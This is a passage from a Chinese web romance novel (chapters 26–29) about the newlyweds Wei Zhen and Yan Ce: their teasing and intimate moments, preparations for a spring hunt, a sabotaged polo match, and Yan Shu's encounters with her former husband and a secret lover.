燕策这次难得说话算数,果然只待了一会儿就分开了,而后一个人草草收拾完。 卫臻心里别别扭扭的,也没让兰怀进来侍候,自个儿要|了热水,等俩人都沐|浴完已经过了戌正。 他没坏得很彻底,卫臻换完衣裳,坐在窗边小榻上比量自己的手,揉了揉方才被丝线勒红的地方,偷偷用手指估摸它嵌了多少,听见燕策的脚步声越来越近,卫臻立即把手背在身后,手背不小心磕在小榻的木雕上,“咚”一声。 “在看什么?”燕策本来没留意,结果卫臻这幅紧张的样子让他不得不多想。 “没没什么。”当然不能告诉他。 卫臻眼睫颤啊颤的,她此刻可能过于别扭,一时间连扯谎都不知道怎么扯,只磕磕绊绊否认。 燕策把她藏起来的右手轻轻掰开,想看看她方才磕那一下有没有破皮,好在并没有,只有道很轻的印子,一会儿就消了,也不需要涂药,他用指腹轻轻给她揉|散。 卫臻莫名心虚,被他|揉|着手,竹筒倒豆子似的说:“我是在看我手上的斗,小时候看手相的先生说我有两个斗,这是富贵命。” 她鲜少一次性跟他解释这么一长串,燕策与卫臻对视片刻,捏着她指腹仔细端详几下,“这个手没有斗。” 他被她这幅紧张的样子引得慢悠悠笑了下,又问她一遍:“在看什么?” 卫臻自个把另一只手伸过来,果然,两个斗都长在左手上。 手心被他轻轻挠了下,她忙把右手从他掌心抽回来,恼羞成怒道:“我自己的手,我爱怎么看就怎么看!” 她脸颊旁的碎发毛茸茸地翘着,瞳仁黝黑,亮闪闪的,但是秀气的眉毛紧蹙着,嘴角也往下耷拉着。从燕策的角度看,卫臻此刻的表情凶巴巴的。 他躬下|身,歪着头凑到她眼前,放低了身量改为从下往上看她。 换了角度,卫臻的表情肉眼可见地因为他的动作变得清澈,圆溜溜的眼睛里满是不可置信,挺翘小巧的鼻尖微微泛红,没有丝毫威慑力。 他为这可爱的反差轻笑出声。 “又犯什么混?”卫臻不懂他笑什么,但是读出他眼神里明晃晃的戏谑,她打他一下,扭头朝里间走。 这一顿折腾,时辰已经不早,也没去厅堂摆膳,直接让人上了两碗清淡易克化的三刀面,并几碟爽口的小菜,俩人一齐在里间桌案上用了。 漱口净过齿二人就躺在榻上看各自的睡前读物,时不时低语一两句,伴着窗外窸窸窣窣的雨。 卫臻看的是话本子,燕策看的是一本游记。卫臻并不觉得看话本子这种闲书就是浪费时间,都是消遣,看什么不是看,书没有什么高低贵|贱—— 不,还是有一点点的,她的书平日里必须搁在燕策的书上面。 燕策翻了两页,发现游记中间夹着张皱皱巴巴的纸,打开一看正是自己早上出门上值前给卫臻留下的那张。 “怎么把这个揉皱了。”燕策在被子底下用膝盖晃晃她。 卫臻一听,把话本子倒扣在被面上跟他咕哝着抱怨:“你还说,我早上一醒来,身上穿的什么啊,你怎么连衣裳都分不清,昨晚给我穿的是衬裙不是寝衣。” “不是分不清,那个好看。” “那也不行,衬裙就不是睡觉时候该穿的衣裳。” 卫臻翻了个身背对着燕策躺下,又看了没几页,眼皮就开始打架,睡前折腾了太久,这晚睡意来得格外快,一夜好眠到天亮。 翌日醒来问了问侍女,知道昨夜燕敏和卫舒云一齐在西耳房睡的,俩人叽里呱啦聊到大半夜,卫臻找过去时她们还在榻上睡得歪七扭八。 几人用膳时,吠星叼着卫臻给它新买的帛玩在一旁玩,帛玩缝制得很精巧,外层是耐咬的粗麻布,里边装着响条,狗咬的时候会发出响声。 见卫臻用完膳了,它把帛玩扔到卫臻跟前,卫臻刚吃饱正犯懒,冲吠星摆摆手。它又叼着扔到卫舒云面前,两只前爪岔开,往前趴|得很低,后面尾巴撅|得高高的。 “什么意思?”卫舒云摸了一把它头上的毛。 “想让你去追它玩,玩到它玩不起翻脸为止。” 卫舒云了然,就陪吠星玩了一会儿,但还没等狗翻脸,人就累了,卫臻见状喊她喊过去打叶子牌。 燕敏输得最快,在一旁随手捏橙子皮玩,“橙皮好香啊,比熏香还好闻。” “有没有香是橙皮味的呢?” “可能有吧,大姐姐会调香,她平日里用的香都是自己调制的,明儿我问问她。”燕敏这话里说的是燕姝。 卫臻想起她昨夜在街上闻见的太子身上的香气,会是燕姝调制的吗。 ** 中午四太太用膳时四老爷过来了。 四太太“呦”了声,没拿正眼瞧他,“鬼混回来了,今个怎么舍得来我这屋。" 四老爷在椅子上坐下,紧接着就质问:“你是不是又去搬弄六郎那新妇的口舌了,” “不过是昨日在大嫂那闲聊时说了句,哪家新媳妇不被催”四太太话未说完就被四老爷打断。 “上头突然查我督办的旧档,硬是挑出几处纰漏,我废了好大的劲才问明白,是六郎授意的。” “六郎一个带兵的还能管着光禄寺?” “他带的是随随便便的兵吗?那是圣上潜邸时的亲兵!光禄寺是不归他管,可他要想找我的麻烦,自然有人愿意帮他,不过是一句话的事。” 四老爷靠祖上荫庇讨了个闲散文职,平日里也没人敢给他使绊子,没想到今日冷不丁被自己的子侄给下了面子,这会子正不痛快,说话也顾不上什么夫妻情分,“你以后给我消停点!” ** 下午履坊送来几双新做的靴子,祝余一边帮卫臻试穿一边道:“过几日春狩,夫人正好穿这个。” 靴子做得很漂亮,针脚细密,还坠着小银铃,也都是能调整消音的款式。鞋头前端还有道不起眼的尖刺,是用来防身的,用手划过去不觉得尖锐,但是祝余讲这个踢人的时候很方便,只用很轻的力道就能让对方疼。 卫臻按照祝余说的,踢出去比量着,又问:“什么春狩,我们也要去吗?” 燕敏咬了一口蓼花糖,嚼得“嘎嘣”响,她用手兜住掉下来的酥渣,道:“自然要去,是圣上组织的春狩,最近几年好像都是太子殿下|操|办。说是狩猎,其实也就是去劭山逛逛,官眷们都会在那边的别院住几日。” “那我该上手规制规制箱笼了。”卫臻往年没去过,她猜大概只有品衔高的官员才可以带家眷一起,或者只有武将可以。 “是呢,中午我回了母亲院里一趟,母亲和郝嬷嬷已经在忙活着收拾衣裳了。” 卫臻一听,眼下就开始收拾,虽然一时间有些不知道该从何开始下手,但要收拾行囊去外边儿住一阵子,让人莫名有股子兴奋劲儿。 今天日头好,平时收起来的褥子也被拿去院里晾晒,而后再装进箱子里带过去。吠星跟着跳起来去够被子角,一下一下地,够不着急得汪汪叫。 侍女还在犄角旮旯找到一小堆吠星藏起来的东西,有它没舍得一口气吃完的肉干、不知道从哪里找的小团线头、还有木棍。 屋内打扫得很勤,吠星藏的东西几乎很快就会被找到,因此它颇废了一些心思寻找新的藏匿窝|点,眼见着自己的宝藏又一次被人发现了,它趴在一旁眼神躲闪,耳朵都耷拉下去了。 卫臻最近添了许多新衣裳,好多喜欢的,她站在穿衣镜前朝身上比划着,实在难以筛选,不同的外裙要搭配不同的披帛和衬裙,每一件她都想带过去。 而给燕策规制衣裳就轻松多了。 他身条好,平日里只觉得他穿什么衣裳都好看,不会觉得颜色有多单调。今日专门一收拾才发现,橱里他的衣裳几乎全都是黑色或者暗红色,压根没什么好挑选的,随便捡一些料子适宜这个时节的装进去就好。 去库房里收拾时,卫臻瞧见两匹月白色的料子,上手摸着极顺滑,有淡淡的鹤纹,“这个拿出去吧,给燕策做衣裳应当适合。” 收拾中途,卫臻又在一个柜子里瞧见个小箱子,堆在角落里神神秘秘的。不是她的东西,也没有上锁,但又在她的卧房里,卫臻就顺手打开来看,红云霎时间从脖颈漫上脸颊。 这不是那天被弄脏的那条衬裙吗,燕策怎么没丢掉。 卫臻展开衬裙端详几眼,倒是被洗干净了,只是留着这个做什么。 衬裙底下还搁着一只耳坠,一颗珠子。 耳坠卫臻觉得眼熟,给兰怀看过,兰怀也讲这是卫臻的。 珠子她却不认得,就这么一颗光|溜|溜的珠子,什么都没有,实在无法辨识出来。 燕策晚上回来发现这个箱子被大喇喇摆在桌案上,心里“咯噔”一声。 明明不是多大的事,他不懂自己为什么会莫名其妙心虚。 东西都是她的,他只不过是搁在箱子里,也没做什么坏事—— 只做|过那么几次。 可能心虚正来源于此。 但他没舍得把珠子和耳坠弄脏过,只是看着。 况且跟她成婚后也没有过了,因为他身边有了更多属于她的痕迹可以看。 思及此处,燕策底气又足了,他跟在卫臻身后,像她的大尾巴。 卫臻想拿什么东西时,甭管她能不能够得着,都会被燕策先一步取下来。 “累不累?”他问道。 卫臻摇摇头,几个侍女一齐收拾,其实不用她出多大的力,多是别人收整出来她看一眼,决定要不要带去劭山。 “别老跟着我呀。” 她穿着条藕粉色百迭裙,走动时裙摆像烟波一样摇晃,声音软甜甜的,语调也比平日里温柔。 燕策看着卫臻几次路过那个箱子,又忐忑起来,她此刻温柔的忽视比对他耍横更让人心虚。 她分明发现了这个箱子,还搁在外面显眼的地方,摆明了是给他看的,为何不来问他。 燕策不想被她知道自己偷偷藏她的物件儿。 被她发现后却又着急她怎么不问他。 这份矛盾着实折磨人。 行至桌案前,卫臻突然停下,“对了——” 燕策看着她探出手,伸向那个箱子, 旁边的布料。 “你的衣裳好像都是黑色和暗红色,这个颜色鲜亮,你穿着肯定也好看的。” 燕策这才注意到她手上的料子,月白色,鹤纹,是好料子,但他却不喜欢。 因为这种颜色,兄长生前最喜欢穿。 出于某些很难宣之于口的心态,燕策从小就不喜欢穿与兄长相同颜色款式的衣裳。 小时候大抵是想通过与兄长的差异来获得母亲的关注与认同。 又加上曾经两次被卫臻认错成兄长,他虽然并不在意—— 有那么一点点在意。 罢了,他现在已经是她的夫婿,不需要再计较这些小事, 燕策这样说服的自己。 但月白色他是不可能穿的。 “愣着做什么,低一下呀,我比划比划。” 见燕策半晌没有反应,卫臻不满地咕哝几句,上手勾|住他脖颈间露出来的绳子往|下|扯,想让他弯一下|腰。 被她这般拉|扯着,燕策的肢|体本|能在此刻更快一步盖过了,心里的一长串“不喜欢”。 听见卫臻催促,他下意识顺着她的话,放低身量,让她拿着布料往他身前比划。 第27章 “就说这个颜色很衬你。”卫臻比划了几下感觉正合适,就把料子交给侍女,好送去绣坊里裁制衣裳。 “还没量|体。”燕策欺|身靠近,抓住她手腕。 卫臻拧他一下,挣脱开,“绣坊那里有你的身量尺寸。” “人的身量会变的。” “少来,你都十九了还在长个吗?” 燕策刚要说话,就见她手随意搭在旁边的箱子上,“哒哒”叩了两下,他立即噤声,缓慢地移开视线。 卫臻当然知道燕策在心虚,方才就察觉到了。 他此刻更是和吠星白日里心虚时的样子如出一辙。 鲜少见他吃瘪,她忍不住起了逗弄他的心思, “怎么跟狗一样喜欢藏人的东西,什么时候偷的?” “没有偷。”燕策往后靠着旁边的桌案,在考虑措辞。 这桌案很高,平日里拿来摆放花瓶一类观赏器物,那日卫臻被他抱到桌子上亲时,她坐的就是这张桌子,此刻他斜斜倚着,桌面也才刚好卡在他腰线下。 很窄的一截腰,被革带紧紧收束着,劲瘦有|力,卫臻有点想|摸一下,又怕他顺杆爬,她打消了这个念头,转而质问他:“怎么不说话了,在忙着编谎吗?” “冤枉我,衬裙你知道,耳坠是两月前。” 他这一说,卫臻就知道是哪天了,她揉了揉耳垂没说话。 燕策继续道:“那日你的耳坠勾在我衣服上了,我晚上回去才发现,但是只找到了这一只,不知道另一只是不是丢了。” 卫臻听完又觉得好笑,他好像只否认了偷,没否认跟狗一样。 再加上很少见燕策这样支支吾吾,她在他跟前低下头,无声偷笑了几|下,等唇边笑意收敛了才抬起头,故作严肃,“噢,那就丢了呗。” 其实另一只压根没丢,正好好躺在她的妆匣里。 卫臻说完就步履轻松地朝外间走去,并唤了声:“过来。” 燕策下意识直起身子望过去,却见卫臻蹲下把吠星抱了起来。 原来是在唤狗,不是在叫他。 不是说他跟狗一样吗,为什么不能是叫他。 ** 卫臻留卫舒云在这边小住了几天,期间燕敏还邀了她的几个手帕交来玩了半日。一连几天卫臻院里都热闹,倒像是仍在闺中。燕敏和卫舒云两个人闹出来的动静顶四五个人,直到卫府大太太遣人来催卫舒云回府去相看郎君,俩人才收敛几分。 “舒云还小呢,大伯母哪就这么急了。”卫舒云只比燕敏大一个多月,现在就像看夫婿,卫臻觉得实在太早了。 卫舒云叹了口气,“母亲说要从今科举子里选一个,已经让叔父给我多留意着了。”这说的是卫臻的父亲。 燕敏在一旁含着块葱糖,帮着出主意:“舒云干脆跟着我嫂嫂去劭山吧,咱们还能继续一道玩。” 卫臻觉得这个法子好,于是特意陪卫舒云回了卫府一趟,跟卫府大太太说了这事。 转眼间就到了动身去劭山这日,卫臻心里一直惦记着,特意起得很早,燕策还在睡的时候她就醒了。 春狩在即,他连日忙于布防,增派禁卫,加强邵山周边戒备,这几日每天都往返于邵山与城里,有那么一两次卫臻迷迷糊糊要睡着了他才回来。 卫臻觉得他有些辛苦,决定等他睡醒再起身,省得把他吵醒了。 在榻上躺着等了一刻钟,燕策一直没醒,卫臻等不了了,忍不住翻过他,轻手轻脚从塌上往下挪。 但人刚挨过去,就被燕策拦腰捞住了。 卫臻被他抱得不舒|坦,嗯嗯唧|唧着要往帐子外挪,“你装睡。” “没装睡。” 只是在等着消|下|去,但她醒了后实在不消|停,翻|来覆|去的,他忍不住一直注意她那边的动静,越注意它就越难消|停,好像没什么办法,只能任其愈演愈烈。 早上她整个人软|趴趴的,往外挪的动作格外慢,燕策等卫臻趴|在他肩上挪了一半,才把她往上抱。 卫臻这几日太熟悉他这幅架|势了,抬手不让他|咬。 燕策手又摸|索到她颈后,被她打了一下也没作罢,指节像往常一样勾|住她颈后的系|带,顺手轻轻一|扯—— 但这次没扯动。 他昨晚给她系的结没系好,经过一晚上领口的挨|蹭|成了个死结。 卫臻也发觉了,她睡前根本不是这个样儿,“你是不是又趁我不知道的时候乱忙活了。” 燕策贴着她应了声,他对自己做的混事一向供认不讳。 卫臻懒得跟他继续掰扯,只想早点下去收拾洗漱,“快点给我重新系一下,还有腰后边,好像也没系好。” 燕策依言照做。 卫臻坐在他怀里,白|皙的下巴垫在在他肩上,打了个哈欠,“我需要跟太太坐一辆马车吗?” “不必,若你愿意,出城门前可以去母亲马车上略待一会儿。”解开后颈的结,他把手探在她后腰开始慢慢解,“我把周回跟周流都留下,送你们去劭山,待出了城门,你回自己马车上安心休息就行。” 卫臻“嗯嗯”两声,又道:“周回跟周流一起出现我就分不清他俩谁是谁了,他们应当和你差不多年岁吧,这么大的双生子为何还要穿一样的衣裳。” “一会儿我出门前让他俩换不一样的。” 她揪着他一缕头发,缠绕在指尖捻着,“你不跟我们一起吗?” “时间有点来不及,我得骑马先过去。” “今日起得早,一会儿我们也早些动身就是了,哪就那么赶了。”卫臻这个时候还不懂他说的来不及是为什么。 下一瞬,软|红的料子被拿出来,卫臻整张脸都涨|红了,“谁让你解|开了。” 她也后知后觉意识到他为什么说来不及,起这么早腾出来的时间他要犯浑。 卫臻拿他方才的话堵他:“时间来不及,你别忙活了。” “你不拦我就来得及。”燕策亲了亲她的脸颊,抱着她翻了个身。 卫臻脸颊被迫贴|上软枕,讲话声音闷闷的:“你自己有胳膊有手的,做什么非要折腾人。” “不一样。” 他净做些自相矛盾的事,明明赶时间,却先来为难她,“猜我的手指,猜对了就听你的。” 突然出现的难题让卫臻不太能说出话,她咬|唇凭着感觉抓住他放在枕|畔的右手,扯了扯他最中间的手指,卫臻就这样选了一个自己认为对的。 燕策又故意使坏,恶劣地不揭晓答案,过了好一会子才把左手给她看。 几缕光从帐子缝|隙照进来,是她难|捱时攥着床|帐引来的光。晨光斜跨|过他的手掌,整只手像块温润的玉雕,骨节分明,线条利舒展流畅,亮闪闪的,无名指是工匠最用心雕刻的部分,最为透亮,悬着有别于其它手指的光。 “怎么第一局就输了。”他一直在说时间紧|俏,逗弄她时语调却又慢悠悠地荡着股子懒劲儿,仿佛看她恼羞成怒就是当下一等一的大事。 她哼唧着回过头去够他的手,想抹除自己输掉的证据,被燕策轻而易举钳|制住,然后眼睁睁看着他把证物据|为己|有。 卫臻瞳仁震了震,眼眸瞬间瞪大,怎么能这样 燕策漆黑的眸睨向她,很坦荡地由着她打量,“输一局也够了。”对他已经足够有利。 卫臻以为这个话题翻篇了,没想到下一瞬听见他说:“猜错了就要换一个。” 新换的并不是手,卫臻朝枕头上跌过去,前额快要碰到床头的木雕,被燕策及时用手挡住了。 他三催四请地,她才肯勉强同意,但依旧和上|次一样,无法全盘接受,燕策说得越多,她的眼泪就越来越不讲道理地润|湿他的掌心。 眼泪带来的湿|意同她呼吸间喷|洒|出的温|热气息混在一处,偶尔还夹|杂着卫臻在他手上留下的牙|印。 他身量骨架上的优势全拿来欺|负她,卫臻咬|他的时候用了十成十的力,却也只换来他更|重|的低|喘。 不能完全遂意,燕策试图用别的方式弥补,他躬身用齿尖去咬|开她的盘扣,卫臻更不同意,她坚持要穿着寝衣。 “为什么寝衣不能动。” “跟别人的不一样” 说话间隙,风有片刻的静,卫臻得以分神用指甲抠了抠浅粉色的绵被,柔|软的粉色绵布面被她抠|出窸窸窣窣的动静。 很|小的粉,还藏了一半,掩在过盛的绵里,这在卫臻的审美里是极不相称的,她觉得很是别扭,自然不能袒|露心声。 “别人跟我没关系。” “不好看。”卫臻依旧摇摇头拒绝,微微汗|湿的鬓发摇|曳在晨间的风里,她成了片薄薄的云,被风推着飘过来,飘过去。 燕策开始不|停地说她漂亮。 他当然知道漂亮,一次次解系带又不是为了练习打死结。 这个话题也让燕策意识到,她一定要穿着,其中一部分缘由是她怕“出丑”,哪怕是在他面前。 这不太好。 他想要她在他面前完全放松下来, 又顺着发散,想知道卫臻有没有在分神,在他面前刻意控制表情。 窗外的花|影藤风顺着帐子不停地往|里|吹,一番试探之后,燕策得到了答案:确实没有。 她就是无论做什么表情都好看。 眸光涣|散,挺翘的鼻尖泛|着红,这样子哭的时候依旧漂亮。 故意耍横,倒在枕头上哼唧着骂他时也很可爱。 燕策亲了亲她柔|软的唇,他要很努力才能控|制自己不惹她更生气。 第28章 卫臻醒的时候窗外不过天光乍泄,等到收拾完传膳时日头已高悬。 燕策没来得及用早膳就走了,卫臻望着他急匆匆离开的背影,皱着鼻尖骂了他一句“活该”。 怕路上不舒|坦,她吃得很少,很快用完早膳往外走。垂花门前,卫臻与燕敏一道上了韦夫人的马车,陪着略微闲聊几句。 燕姝和小元也在韦夫人车上,进去后卫臻和燕敏挨着坐一块,只觉得燕敏身|上热|乎乎的。 “入了四月眼瞅着就热起来了,刚成婚那两日还觉得冷呢。”卫臻靠着微微摇晃的车厢不禁想,这兄妹俩不知道怎么长的,身上都好|热。 “京里的春秋都短,”韦夫人道,“再过个十来日,敏姐儿就该嚷嚷着用冰了。” 正闲聊着,马车驶过一道石子路,车厢一晃,小元没坐稳,额头要往车厢壁上磕,卫臻下意识伸手挡在小元脸前垫了一下。 小元没磕着,但是卫臻手背擦破皮了,她觉得没什么,这伤口很小也很浅,三两日就会好。 到底是小辈在自己眼前磕着碰着了,韦夫人让燕敏找出马车里的药箱给卫臻包扎一下。 燕姝在一边对小元道:“可要记得舅母对你的好。”小元不会说太复杂的话,轻轻拉着卫臻的手要给她呼呼。 燕敏一边给卫臻擦药,一边道:“她才这么小,能记得什么,过几日就该忘光了。” “怎么不记得,元姐儿记事可多了。” “我就记不清小时候的事,”上完药,燕敏拿棉布给卫臻的手轻轻缠了一圈,继续道:“我腿上有个疤,总觉得是母亲给我掐的,可嬷嬷说是我在元姐儿这么大的时候自己磕的。” 韦夫人当下就要去拧她的嘴,一车人跟着笑了起来。 去劭山别院要两个时辰,卫臻回到自己的马车上后,卫舒云已经和吠星一道在角落里睡着了,卫臻也斜靠着车厢睡了一觉。下车饿得前胸贴后背,顾不上别的,先用了午膳,一家子一齐用的,但是没见着燕策的影儿。 过了晌午,官员们都带着家眷奔赴劭山脚下的围场,卫臻跟着韦夫人,遇到不少与韦夫人交好的高门贵妇,这些夫人们见了卫臻就说她模样好,要么就是身条顺、与六郎如何如何般配,互相奉承的吉祥话说了一路子。 围场周边,身穿轻甲、手持长矛的虎贲护卫站了一大圈。围场中央,太子正和梁王各领着一群人打马球,卫臻看了一会子觉得没什么好看的,她虽不懂官场上的事,却也看出来两拨人暗流涌动的架势。 一旁卫舒云和燕敏也觉得无聊,俩人坐在那翻花绳,输了的就打手心。俩人又怕互相打手心会翻脸,就让卫臻给她们做这个恶人。卫臻手劲儿并不大,打人也不疼。 燕敏揉了揉刚被打完的手掌心,视线四处乱飘着,“嫂嫂,那个是不是我六哥哥?” 卫臻顺着燕敏的手望过去,围场一侧有面崖壁,望上去比两层房子要高一些,崖壁上的空地站着几道人影,其中一个确实是燕策。 他正侧对着这边,一边注意着底下的马球场,一边跟身前人交谈。 高马尾,文武袖,腰侧别刀,仪态松弛流畅,好看得很直观。 场上马球赛正值高|潮,当太子手持球杆,策马冲向落球时,梁王突然从侧方挥杆逼近,借着两马交错的瞬间,假装无意,用球杆缠|绞太子的缰绳,同时猛扯自己的马头。 太子的坐骑受惊,前蹄扬起,几乎将他甩下马背,失控的马匹甩着蹄子冲向场边围栏,倘若太子连人带马撞上去,非死即残。 同时梁王忽然厉声大叫起来,整个人在马背上剧烈颠簸,像是也要摔下来。 燕策一直在上方巡视,时刻关注底下动向,他察觉到梁王的小动作,在太子马匹失控的刹那,从崖壁空地上一跃而下。 落地前一刻,燕策与太子迅速对视一眼,旋身落在梁王马前,伸手|扣住马辔,借全身的力道狠狠压向马颈,硬生生将受惊的马勒停。同时另一手扶住梁王肩膀,强行帮他稳住身形。 另一边太子的马也被他自己稳住了,梁王脸色铁青,深深看了燕策一眼。 燕策直直迎上他的打量,不卑不亢道:“王爷,当心。” 韦夫人眼看着燕策从那么高的地方跳下来,又一顿折腾,也不知道有没有摔着,还有那马,比一般人都要高,踢在身上也不是闹着玩的。 她心都要揪起来,顾不上旁的了,立即就带着卫臻过去瞧燕策。 韦夫人身量高,步子走得又急又稳,一路上也不用人搀着,卫臻跟在她后面追得不容易,两回差点被路上的石头绊到。 一直到看见燕策好端端地,没受伤,只有衣服擦破了一些,韦夫人心才落回肚子里。等燕策收拾完换了身衣裳,她又忍不住数落他不该像方才那般冒进。 卫臻站在韦夫人身后,看着燕策吃瘪。 她一路走得急,披帛耷拉下来一半,软趴趴垂着。 韦夫人每说燕策一句,卫臻就跟着小鸡啄米似的点几下头,头上的蝴蝶簪在光下一闪一闪的。 等到韦夫人离开了,燕策就把卫臻整个人揽在怀里,给她把披帛往上拨了拨,半边身|子的力道都压在她肩上:“手怎么了,我看看。” 被他压|得腰|软,卫臻抬手往他腰|腹|部肘击一下。 燕策闷|哼一声,下颌从她肩窝处离开了,但仍把她困在怀里,卫臻抬头瞪他一眼:“你别看了,就随便擦破了一点,伤口很浅,还没你咬的疼。” “什么时候咬你了。”他依旧没松开她手。 卫臻今日戴了对羊脂玉镯子,她胳膊生得纤长,镯子圈口也正好。但她骨架小,软|肉多,穿着衣裳不显,摸上去才知道软软的。 方才抬手打他时,镯子从手腕滑至小臂,正好卡在那,卫臻自己没留意,燕策的手指直接顺着她袖口探|进去,轻轻给她把镯子顺了下来。 简直狗一样黏人,卫臻被他磨|得没法,只能道:“晚上再给你看,我现在不想拆开了,拆开重新上药比擦伤还疼呢。”燕策这才作罢。 这会子日头挺|晒,除了故意凶他的时候,卫臻仰着头眼睫有些睁不开,弯成两道小月牙。燕策跟她换了个方向,英挺的眉骨直接在眼窝处投下一小片阴影,使得他迎着光也能完全睁开眼。 卫臻眼睛舒|服了,又开始给他看她的靴子,“这个上山穿着方便,祝余还教我怎么用靴子前面的尖刺踢人了,说我很厉害呢!” “翘翘练武奇才。”他在她耳边笑了声,语调很轻,有些抓耳。 不知道是方才晒的,还是被他夸得不好意思,卫臻脸颊红扑扑的,她低下头随意去戳|弄路边的喝呼草。 燕策学着她去拨|弄那些翠绿的叶片,指节贴|着叶片滑|动|几|下,深青的叶柄下垂,小小的叶片卷着他手指蜷|缩,他一边跟她说话,一边无意识反复拨|弄着合|拢的叶片。 卫臻突然觉得他的手不正经,“你别戳了。” “叶子也不让戳啊。” “你不是正经戳。” 燕策笑了下,手离开喝呼草,转而从袖袋里掏出个物件攥在掌心,让卫臻猜在哪只手。 “你手里有什么东西?我怎么没瞧见?” 他不说,只是让她猜在哪,卫臻便点了点他的左手,但手指展开后里边什么都没有,她不高兴了:“怎么不让着我。” 燕策笑了下,让她闭上眼,卫臻眼睫阖上了还在问他:“你要换一下吗,这样还有什么意思——” 尾音骤然消失,因为他让她闭眼并非要换手里的东西,只是想亲她。 卫臻似惊弓之鸟,猛地睁开眼,揉|了揉被亲的半边脸颊,紧*张兮兮地左右看了看,还好没有人过来,而后骂他一声去把他两只手都掰|开,“怎么两个手都没有!你故意骗人。” “只是让你猜,没说有。”他理所应当地说着浑话,在卫臻打他的前一瞬,从袖袋里掏出个匕首,“翘翘武学奇才,该佩个刀。” 匕首精致小巧,比卫臻的手长一点点,她接过来握|住刀鞘和刀柄,用力|拔|了两下没拔动。 燕策就着她的手,指节探过去轻轻拨动刀柄上一处凸|起的雕花,伴随着“啪嗒”声响,刀柄灵活地弹出。 雕花的机关设计得很顺手,拔刀时半点不费劲,又能保证平日里不会被锋利的刀刃误伤。 卫臻握|住刀柄往外抽|出一截,锋利的冷光映在她白|嫩的下巴上,刀身颜色很罕见,隐约能看出很浅的金属蓝,纤长指节握住做工精巧的匕首,很漂亮。又摁住机关反复多试了几次,等她用得顺手了,燕策勾住匕首上的丝绦,三两下利落地在她腰间系了个结。 “我拿着这个有用吗?能不能威慑到坏人啊?” 他躬身靠近给她系丝绦时,身后的头发垂下来,落在她手边,拂得手背有些痒。 “当然能,”燕策屈指弹了下那个结,他觉得自己给她系得很好看,下次要给她小衣也系成这样。 “哪怕是元姐儿持着个匕首,一般大人也不敢直接上去夺,刀在手里就都有用。” 卫臻顺手拽住一缕他的头发,缠在指尖转着圈,想象了一下小元持刀的画面,觉得他讲的有道理,跟着点了点头。 每次亲她时,她都会扯他的头发,导致燕策一被她摸头发就会联想到亲吻。 此刻被拉扯出痛意,燕策下意识凑上去亲|她唇瓣。 卫臻偏头躲了躲,燕策的唇贴着她脸颊擦过去。 其实本来只是想亲一下,被她这么一躲,燕策起了逗|弄|她的心思。 卫臻往他怀里钻,用他的手臂挡住脸,嗯嗯唧|唧着再次躲开了:“还在外面呢!你给我消|停点。” “回去就可以随便做了吗?” ** 这边燕姝一直惦记着太子被马摔那一下,离了人群悄悄往太子的营帐走。 周边搭了一些供显贵们更衣和小憩的帐子,但眼下刚搭好,尚且没人过来使用,她独自一人穿梭于帐子之间,很是隐蔽。 燕姝提裙拐过一道小路,迎面撞上一个人。 永安侯薛家三郎,薛衡。 她的上一任夫婿。 他脸上斜斜一道疤,像是没有正儿八经涂过祛疤的药,颜色比最初伤到时还要|深|一些。 被燕姝伤到,留下的疤。 第29章 当初小元刚生下来六个月,燕姝看见薛衡在小元睡|觉时盯着她,眼神阴沉沉的。 他喝醉了酒,步子不稳,摇摇晃晃,眼看着要撞上摇篮,燕姝本能地抄起手边的花瓶冲他头砸过去,那是她第一次也是唯一一次打人。 这一下用了十成十的力,薛衡的耳际到侧脸,当场被划了一道口子,醉意霎时间退去。 他捂着满脸的|血,被剧痛支配着,回头的动作很迟钝,望向燕姝的眼中满是不可置信, 她平日里那么温柔的一个人,竟然会为了孩子对他下这么狠的手。 薛衡疼得发抖,还在对她说:“我不是要害她,我只是想,看看她。 “你的女儿,就是我的女儿。” 不知道是疼得无法大声讲话,还是旁的原因,总之他的语气过分平静了。 兴许其中有几分真意,但燕姝半分都不能赌。 不能拿她的女儿赌。 于是她毅然和离归家。 薛衡此刻又说出了和当时一样的话:“我会和你一起好好待元姐儿的。” 脸上的疤使得原本面相斯文的一个人,变得有些狰|狞,“他月底就要选妃了,你跟着他不清不楚的,不会有什么好结果。” 燕姝半句话都不愿意跟他讲,扭头想离开却被他更快一步追上来。 卫臻跟燕策分开后,带着兰怀七绕八绕地在帐子周边走,刚拐过来就看见燕姝被一个男子堵在小道上。 “我们重来好不好,” 薛衡攥着燕姝的手腕不让她走,声音压得很低, “若是早知道与你和离后会这般痛苦,当初我就该装作全然不知。” 正说着,倏然间后膝弯结结实实遭了一记狠踹。 尖锐的痛传来,像被铁锤生生砸进骨缝里,他闷哼一声,左腿似被抽了筋,瞬间失了力气,整个人往前摔在地上,只微微一动便扯出腿上更难忍的痛来,激得他颈后沁出一层冷汗。 见那人被踢得爬不起来了,卫臻拉着燕姝就往前跑。 跑的间隙她还在想:祝余果然没讲大话,这靴子前面的尖刺踢人确实很厉害。 经了这么一遭,燕姝心里也惴惴,没再去太子的营帐。直到晚上,她翻来覆去躺在别院里榻上睡不着时,窗边倏然传来阵窸窸窣窣的动静。 窗扇被人打开,有人自窗外跃入屋内,紧接着是火折子擦亮的声音,清隽矜贵的面容在微弱光源下浮现。 果然如她所感,是他。 吹着夜风一路过来,他朗星般的眸中无半点暖意,似含着霜雪。 还不等燕姝说话,段修先一步开口质问:“为什么我受伤了你都没有来看我?” “既是受伤了,那就该好生歇着,大半夜翻墙过来做什么?” 灯下,她的眉眼极温柔,乌发散在肩头,浸着暖黄|的光,连影子都柔|软。 “上上个月你一面都没见我,上个月只见了两回还都是我去找的你。” 她从不对他说重话,也从不罚他,只要冷落他一阵子,他就无可奈何。 燕姝耐心解释道:“上上个月元姐儿害了场风寒,你是知道的。” 那阵子她不见他,他就让太医每隔两日去一回。府上人见太医来得来殷勤,问起来,燕姝也只敢说是用祖母的名义请的太医。老太太和韦夫人都是一品诰命,除了国公,府上唯有她们二人有资格主动请太医。她扯了这么个谎,也不知祖母是否察觉到她的事情。 “上个月六郎成婚,更是一堆事。” 他们二人,单看面容,段修像是那个冷冰冰不可攀的,燕姝生得温吞,整个人似没脾气。 但其实,她才是那个永远理智冷静的。而他看似强硬,实则没招,甚至连强硬,都装不了半刻钟。 “都比我重要。”冰雪消融,他语气里有几分颓然。 她永远这样,温柔,也冷漠。任何事都能语气平静地讲道理,听不出来他只是想让她哄他。 颇有几分幽怨地抱着她胡搅蛮缠一阵子,说的都是些无关紧要的琐事,燕姝开始催他快些离开,免得被人发现。 